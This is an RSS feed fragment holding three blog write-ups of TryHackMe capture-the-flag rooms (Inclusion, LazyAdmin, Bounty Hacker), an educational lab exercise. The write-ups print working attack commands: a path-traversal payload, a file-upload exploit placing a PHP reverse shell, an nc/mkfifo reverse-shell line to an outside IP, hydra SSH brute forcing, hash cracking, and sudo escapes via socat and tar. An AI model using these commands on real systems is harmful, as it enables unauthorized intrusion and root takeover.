<p><a target="_blank" href="https://www.youtube.com/watch?v=LO1mTELoj6o">Inspired by CGP Grey.</a></p>
]]></content:encoded></item><item><title><![CDATA[Inclusion]]></title><description><![CDATA[Inclusion | TryHackMe
What is the user flag?
First, we will enumerate our target.
❯ nmap -sV 10.10.85.254
Nmap scan report for 10.10.85.254
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp...]]></description><link>https://blog.chaitanyaraj.dev/inclusion</link><guid isPermaLink="true">https://blog.chaitanyaraj.dev/inclusion</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Bash]]></category><category><![CDATA[CTF]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Chaitanya Raj]]></dc:creator><pubDate>Sat, 15 Oct 2022 09:42:16 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1674382700384/e689feab-680b-45a3-903a-5bbe8bdec92d.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><a target="_blank" href="https://tryhackme.com/room/inclusion">Inclusion | TryHackMe</a></p>
<h2 id="heading-what-is-the-user-flag">What is the user flag?</h2>
<p>First, we will enumerate our target.</p>
<pre><code class="lang-bash">❯ nmap -sV 10.10.85.254
Nmap scan report <span class="hljs-keyword">for</span> 10.10.85.254
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Werkzeug httpd 0.16.0 (Python 3.6.9)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap <span class="hljs-keyword">done</span>: 1 IP address (1 host up) scanned <span class="hljs-keyword">in</span> 16.98 seconds
</code></pre>
<p>As we can see, two ports are open on our target machine, port 22 for ssh and port 80 with http. Let's see what we have on port 80.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665826808390/ti6Zfss9d.png" alt="blog.png" /></p>
<p>That's a pretty cute blog right there. As we are interested in LFI, let's view its details.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665826821012/MBY7njPWR.png" alt="lfi.png" /></p>
<p>Um...We have this very well presented blog about LFI attacks. It seems to include details about Directory Traversal along with its example. Lets give it a try, shall we?</p>
<pre><code class="lang-plaintext">http://10.10.85.254/article?name=../../../../etc/passwd
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665826840903/aar20VSsj.png" alt="passwd.png" /></p>
<p>Well well well, what do we have here ;)</p>
<p>A commented out user:passwd pair is present. I wonder where it could be used. SSH maybe?</p>
<pre><code class="lang-bash">falconfeast@inclusion:~$ ls
articles user.txt
falconfeast@inclusion:~$ cat user.txt
[REDACTED]
</code></pre>
<h2 id="heading-what-is-the-root-flag">What is the root flag?</h2>
<p>Now its time to escalate priviledges. Lets see what we can run as root.</p>
<pre><code class="lang-bash">falconfeast@inclusion:~$ sudo -l
Matching Defaults entries <span class="hljs-keyword">for</span> falconfeast on inclusion:
env_reset, mail_badpass, secure_path=/usr/<span class="hljs-built_in">local</span>/sbin\:/usr/<span class="hljs-built_in">local</span>/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User falconfeast may run the following commands on inclusion:
(root) NOPASSWD: /usr/bin/socat
</code></pre>
<p>I think <a target="_blank" href="https://gtfobins.github.io/gtfobins/socat/">GTFOBins</a> may have something that can help us.</p>
<pre><code class="lang-bash">sudo socat stdin <span class="hljs-built_in">exec</span>:/bin/sh
</code></pre>
<p>Lets plug that into the terminal.</p>
<pre><code class="lang-bash">falconfeast@inclusion:~$ sudo socat stdin <span class="hljs-built_in">exec</span>:/bin/sh
whoami
root
<span class="hljs-built_in">cd</span> /root
ls
root.txt
cat root.txt
[REDACTED]
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Lazy Admin]]></title><description><![CDATA[LazyAdmin | TryHackMe
What is the user flag?
First, we will enumerate our target.
❯ nmap -sV 10.10.39.105
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-12 11:35 IST
Nmap scan report for 10.10.39.105
Host is up (0.15s latency).
Not shown: 998 clo...]]></description><link>https://blog.chaitanyaraj.dev/lazy-admin</link><guid isPermaLink="true">https://blog.chaitanyaraj.dev/lazy-admin</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Bash]]></category><category><![CDATA[CTF]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Chaitanya Raj]]></dc:creator><pubDate>Mon, 10 Oct 2022 04:50:18 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1674382998799/5c402cf4-918a-46a3-b757-3f0fca0b1370.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><a target="_blank" href="https://tryhackme.com/room/lazyadmin">LazyAdmin | TryHackMe</a></p>
<h2 id="heading-what-is-the-user-flag">What is the user flag?</h2>
<p>First, we will enumerate our target.</p>
<pre><code class="lang-bash">❯ nmap -sV 10.10.39.105
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-12 11:35 IST
Nmap scan report <span class="hljs-keyword">for</span> 10.10.39.105
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap <span class="hljs-keyword">done</span>: 1 IP address (1 host up) scanned <span class="hljs-keyword">in</span> 20.10 seconds
</code></pre>
<p>As we can see, two ports are open on our target machine, port 22 for ssh and port 80 with http. Let's see what we have on port 80.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665377067571/p7PaKx_ad.png" alt="apache2.png" /></p>
<p>It is an Apache2 Ubuntu Default Page. Now we use gobuster to enumerate any directories this server might have.</p>
<pre><code class="lang-bash">❯ gobuster dir -u 10.10.39.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -q
/.hta                 (Status: 403) [Size: 277]
/.hta.php             (Status: 403) [Size: 277]
/.hta.txt             (Status: 403) [Size: 277]
/.hta.html            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd.php        (Status: 403) [Size: 277]
/.htaccess.php        (Status: 403) [Size: 277]
/.htpasswd.txt        (Status: 403) [Size: 277]
/.htaccess.txt        (Status: 403) [Size: 277]
/.htpasswd.html       (Status: 403) [Size: 277]
/.htaccess.html       (Status: 403) [Size: 277]
/content              (Status: 301) [Size: 314] [--&gt; http://10.10.39.105/content/]
/index.html           (Status: 200) [Size: 11321]
/index.html           (Status: 200) [Size: 11321]
/server-status        (Status: 403) [Size: 277]
</code></pre>
<p>We have found a /content subdirectory.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665377103198/gRtSbUY16.png" alt="sweetrice.png" /></p>
<p>Let's enumerate it too.</p>
<pre><code class="lang-bash">❯ gobuster dir -u 10.10.39.105/content -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -q
/.hta                 (Status: 403) [Size: 277]
/.hta.php             (Status: 403) [Size: 277]
/.hta.txt             (Status: 403) [Size: 277]
/.hta.html            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess.txt        (Status: 403) [Size: 277]
/.htpasswd.php        (Status: 403) [Size: 277]
/.htaccess.html       (Status: 403) [Size: 277]
/.htpasswd.txt        (Status: 403) [Size: 277]
/.htaccess.php        (Status: 403) [Size: 277]
/.htpasswd.html       (Status: 403) [Size: 277]
/_themes              (Status: 301) [Size: 322] [--&gt; http://10.10.39.105/content/_themes/]
/as                   (Status: 301) [Size: 317] [--&gt; http://10.10.39.105/content/as/]
/attachment           (Status: 301) [Size: 325] [--&gt; http://10.10.39.105/content/attachment/]
/changelog.txt        (Status: 200) [Size: 18013]
/images               (Status: 301) [Size: 321] [--&gt; http://10.10.39.105/content/images/]
/inc                  (Status: 301) [Size: 318] [--&gt; http://10.10.39.105/content/inc/]
/index.php            (Status: 200) [Size: 2198]
/index.php            (Status: 200) [Size: 2198]
/js                   (Status: 301) [Size: 317] [--&gt; http://10.10.39.105/content/js/]
/license.txt          (Status: 200) [Size: 15410]
</code></pre>
<p>We have found some interesting files. Let's check the changelog.txt.</p>
<pre><code class="lang-plaintext">#############################################
SweetRice - Simple Website Management System
Version 1.5.0
Author:Hiler Liu steelcal@gmail.com
Home page:http://www.basic-cms.org/
#############################################
New web - new SweetRice for both PC &amp; mobile website creator,easy way to follow the new web world.

========================================
</code></pre>
<p>We know now that the target machine is using SweetRice CMS V1.5.0. Let's search <a target="_blank" href="https://www.exploit-db.com/">Exploit-DB</a> for a vulnerability we can exploit.</p>
<p>We find a <a target="_blank" href="https://www.exploit-db.com/exploits/40718">Backup Disclosure</a> vulnerability. Let's use it to exploit this CMS.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665377129642/EqwkiOGp6.png" alt="mysql_backup.png" /></p>
<p>We download and open the mysql_bakup_20191129023059-1.5.1.sql file.</p>
<p>We now have a username and a password hash. Let's crack the hash using hashcat.</p>
<pre><code class="lang-bash">❯ hashcat -a 0 -m 0 lazyhash.txt /usr/share/wordlists/rockyou.txt

42f749ade7f9e195bf475f37a44cafcb:[REDACTED]
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665377171185/JdiCOSX8Q.png" alt="login.png" /></p>
<p>So we now have both the username and the password. Let's log into the admin panel.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665377185323/1tjUtIkNM.png" alt="admin_panel.png" /></p>
<p>We now have to set the website status to Running so that we can access the site.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665377198823/bTrwLo2I0.png" alt="website.png" /></p>
<p>There's nothing interesting on the site itself. Let's look if there's another vulnerability we can exploit.</p>
<p>We have found an <a target="_blank" href="https://www.exploit-db.com/exploits/40716">Arbitrary File Upload</a> vulnurablity. We can exploit it to upload a reverse shell script and gain access to the target machine.</p>
<p>We're going to use <a target="_blank" href="https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php">pentestmonkey's reverse ssh php script</a>.</p>
<pre><code class="lang-bash">
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
|  _________                      __ __________.__                  |
| /   _____/_  _  __ ____   _____/  |\______   \__| ____  ____      |
| \_____  \ \/ \/ // __ \_/ __ \   __\       _/  |/ ___\/ __ \     |
| /        \     /\  ___/\  ___/|  | |    |   \  \  \__\  ___/     |
|/_______  / \/\_/  \___  &gt;\___  &gt;__| |____|_  /__|\___  &gt;___  &gt;    |
|        \/             \/     \/            \/        \/    \/     |
|    &gt; SweetRice 1.5.1 Unrestricted File Upload                     |
|    &gt; Script Cod3r : Ehsan Hosseini                                |
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+

[+] Sending User&amp;Pass...
[+] Login Succssfully...
[+] File Uploaded...
[+] URL : http://10.10.39.105/content/attachment/shell.php5
</code></pre>
<p>p.s : if it doesn't seem to work, try to hardcode the values in the code.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665377235556/5ks00u93P.png" alt="file_upload.png" /></p>
<p>Now we start a netcat listener on the specified port to connect to the reverse shell.</p>
<pre><code class="lang-bash">❯ nc -nlvp 1234
Connection from 10.10.39.105:44046
Linux THM-Chal 4.15.0-70-generic <span class="hljs-comment">#79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux</span>
 09:34:23 up 33 min,  0 users,  load average: 0.00, 0.01, 0.24
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can<span class="hljs-string">'t access tty; job control turned off
$ whoami
www-data</span>
</code></pre>
<p>Annddddd we're in.</p>
<p>Let's navigate the file system to find the user.txt.</p>
<pre><code class="lang-bash">$ <span class="hljs-built_in">cd</span> /home
$ ls
itguy
$ <span class="hljs-built_in">cd</span> itguy
$ ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
backup.pl
examples.desktop
mysql_login.txt
user.txt
$ cat user.txt
[DATA EXPUNGED]
</code></pre>
<h2 id="heading-what-is-the-root-flag">What is the root flag?</h2>
<p>We now have to escalate our priviledge and gain root access on this machine.</p>
<p>Let's check what commands we can run.</p>
<pre><code class="lang-bash">$ sudo -l
Matching Defaults entries <span class="hljs-keyword">for</span> www-data on THM-Chal:
    env_reset, mail_badpass, secure_path=/usr/<span class="hljs-built_in">local</span>/sbin\:/usr/<span class="hljs-built_in">local</span>/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on THM-Chal:
    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
</code></pre>
<p>We can run the perl file backup.pl. Let's check what's in it.</p>
<pre><code class="lang-bash">$ cat backup.pl
<span class="hljs-comment">#!/usr/bin/perl</span>

system(<span class="hljs-string">"sh"</span>, <span class="hljs-string">"/etc/copy.sh"</span>);
</code></pre>
<p>The backup.pl script executes /etc/copy.sh. What's in there i wonder.</p>
<pre><code class="lang-bash">$ cat /etc/copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 192.168.0.190 5554 &gt;/tmp/f
</code></pre>
<p>We can run this file as root, so if we create a reverse shell using this file, we can get root access to the target machine from our host macine.</p>
<p>We already have a reverse shell script on this machine, so why not reuse it.</p>
<pre><code class="lang-bash">$ <span class="hljs-built_in">echo</span> <span class="hljs-string">'php /var/www/html/content/attachment/shell.php5'</span> &gt; /etc/copy.sh
</code></pre>
<p>Now we have to run backup.pl as root.</p>
<pre><code class="lang-bash">$ sudo /usr/bin/perl /home/itguy/backup.pl
$ Successfully opened reverse shell to 10.17.15.106:1234
</code></pre>
<p>We now have root access to this machine. All we have to do is to locate root.txt (it is usually found in /root).</p>
<pre><code class="lang-bash">❯ nc -nlvp 1234
Connection from 10.10.39.105:44052
Linux THM-Chal 4.15.0-70-generic <span class="hljs-comment">#79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux</span>
 09:46:00 up 44 min,  0 users,  load average: 0,00, 0,00, 0,09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=0(root) gid=0(root) groups=0(root)
/bin/sh: 0: can<span class="hljs-string">'t access tty; job control turned off
# whoami
root
# cd /root
# ls
root.txt
# cat root.txt
[DATA EXPUNGED]</span>
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Bounty Hacker]]></title><description><![CDATA[Bounty Hacker | TryHackMe
Find open ports on the machine
We will use nmap to do a quick scan of the machine for open ports.
❯ nmap -sV $IP
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubunt...]]></description><link>https://blog.chaitanyaraj.dev/bounty-hacker</link><guid isPermaLink="true">https://blog.chaitanyaraj.dev/bounty-hacker</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Bash]]></category><category><![CDATA[CTF]]></category><category><![CDATA[hacking]]></category><category><![CDATA[tryhackme]]></category><dc:creator><![CDATA[Chaitanya Raj]]></dc:creator><pubDate>Sun, 09 Oct 2022 12:10:16 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1674383074769/6b214924-c185-48c7-ad1a-872475aad658.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><a target="_blank" href="https://tryhackme.com/room/cowboyhacker">Bounty Hacker | TryHackMe</a></p>
<h2 id="heading-find-open-ports-on-the-machine">Find open ports on the machine</h2>
<p>We will use nmap to do a quick scan of the machine for open ports.</p>
<pre><code class="lang-bash">❯ nmap -sV <span class="hljs-variable">$IP</span>
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre>
<h2 id="heading-who-wrote-the-task-list">Who wrote the task list?</h2>
<p>To find out who wrote it, we first have to find the task list itself. Let's check the hint for this task, which is "Have you visited FTP?". First let's check if anonymous login is enabled for ftp. Yes it is. Great, now we can copy over the text files we find to our system using the get command.</p>
<pre><code class="lang-bash">ftp&gt; ls -la
200 PORT <span class="hljs-built_in">command</span> successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Jun 07  2020 .
drwxr-xr-x    2 ftp      ftp          4096 Jun 07  2020 ..
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
226 Directory send OK.
ftp&gt;
</code></pre>
<p>Now let's see the contents of the task.txt.</p>
<pre><code class="lang-bash">❯ cat task.txt
1.) Protect Vicious.
2.) Plan <span class="hljs-keyword">for</span> Red Eye pickup on the moon.

-lin
</code></pre>
<p>We can see that the rather surreal sounding tasks have been written by "lin". This may potentially be a username that can be used later.</p>
<p>Let's look into locks.txt now. Looks like it is a list of passwords. It'll come in handy while brute-forcing the password.</p>
<pre><code class="lang-bash">❯ cat locks.txt
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn<span class="hljs-variable">$yn9icat3</span>
R3DDr46ONSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa6oN5YNDiCATE
ReDDR4g0n5ynDIc4te
R3Dr4gOn2044
RedDr4gonSynd1cat3
R3dDRaG0Nsynd1c@T3
Synd1c4teDr@g0n
reddRAg0N
REddRaG0N5yNdIc47e
Dra6oN<span class="hljs-variable">$yndIC</span>@t3
4L1mi6H71StHeB357
rEDdragOn<span class="hljs-variable">$ynd1c473</span>
DrAgoN5ynD1cATE
ReDdrag0n<span class="hljs-variable">$ynd1cate</span>
Dr@gOn<span class="hljs-variable">$yND1C4Te</span>
RedDr@gonSyn9ic47e
REd<span class="hljs-variable">$yNdIc47e</span>
dr@goN5YNd1c@73
rEDdrAGOnSyNDiCat3
r3ddr@g0N
ReDSynd1ca7e
</code></pre>
<h2 id="heading-what-service-can-you-bruteforce-with-the-text-file-found">What service can you bruteforce with the text file found?</h2>
<p>Now let's take a look at the hint for the next task. "What is on port 22?". SSH.</p>
<p>Let's brute force the ssh port using hydra. We use lin as the username and the retrieved locks.txt as our wordlist.</p>
<pre><code class="lang-bash">❯ hydra -l lin -P locks.txt <span class="hljs-variable">$IP</span> ssh
Hydra v9.2 (c) 2021 by van Hauser/THC &amp; David Maciejak - Please <span class="hljs-keyword">do</span> not use <span class="hljs-keyword">in</span> military or secret service organizations, or <span class="hljs-keyword">for</span> illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[22][ssh] host: 10.10.246.11   login: lin   password: [REDACTED]
1 of 1 target successfully completed, 1 valid password found
</code></pre>
<p>Okay, we have the password now. Let's try to ssh into the machine using these credentials.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665316958331/x520GYtRj.png" alt="hacker_doge.png" class="image--center mx-auto" /></p>
<p>Lets look around the system for a bit. On checking the home directory, we find the user.txt. Well, that was easy.</p>
<pre><code class="lang-bash">Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

83 packages can be updated.
0 updates are security updates.

lin@bountyhacker:~/Desktop$ ls
user.txt
lin@bountyhacker:~/Desktop$ cat user.txt
[DATA EXPUNGED]
</code></pre>
<p>Now to find root.txt, we have to escalate our privileges and gain root access to the system. To get started, we type sudo -l to see what commands our current user can run as root.</p>
<pre><code class="lang-bash">lin@bountyhacker:~/Desktop$ sudo -l
Matching Defaults entries <span class="hljs-keyword">for</span> lin on bountyhacker:
    env_reset, mail_badpass,
    secure_path=/usr/<span class="hljs-built_in">local</span>/sbin\:/usr/<span class="hljs-built_in">local</span>/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar
</code></pre>
<p>As we can see, lin can run /bin/tar as root. Lets head over to <a target="_blank" href="https://gtfobins.github.io/">GTFOBins</a> and look for an exploit for this binary that can help us break out and gain a root shell. On searching for tar on the site, we get the following command.</p>
<pre><code class="lang-bash">sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=<span class="hljs-built_in">exec</span>=/bin/sh
</code></pre>
<p>Lets pop that into the shell and see what happens. Hmm, it seems we have successfully gained root access.</p>
<p>Now we use the find command to locate root.txt.</p>
<pre><code class="lang-bash">lin@bountyhacker:~/Desktop$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=<span class="hljs-built_in">exec</span>=/bin/sh
tar: Removing leading `/` from member names
<span class="hljs-comment"># whoami</span>
root
<span class="hljs-comment"># find / -name "root.txt" 2&gt;/dev/null</span>
/root/root.txt
<span class="hljs-comment"># cat /root/root.txt</span>
[DATA EXPUNGED]
</code></pre>
<p>So there you have it. We have finally completed the room. This was an easy room, so beginners like me shouldn't have much problems with it. If you couldn't do it by yourself though, don't lose hope, the path is full of learning opportunities. Hope you learned something new today. Adios.</p>
]]></content:encoded></item></channel></rss>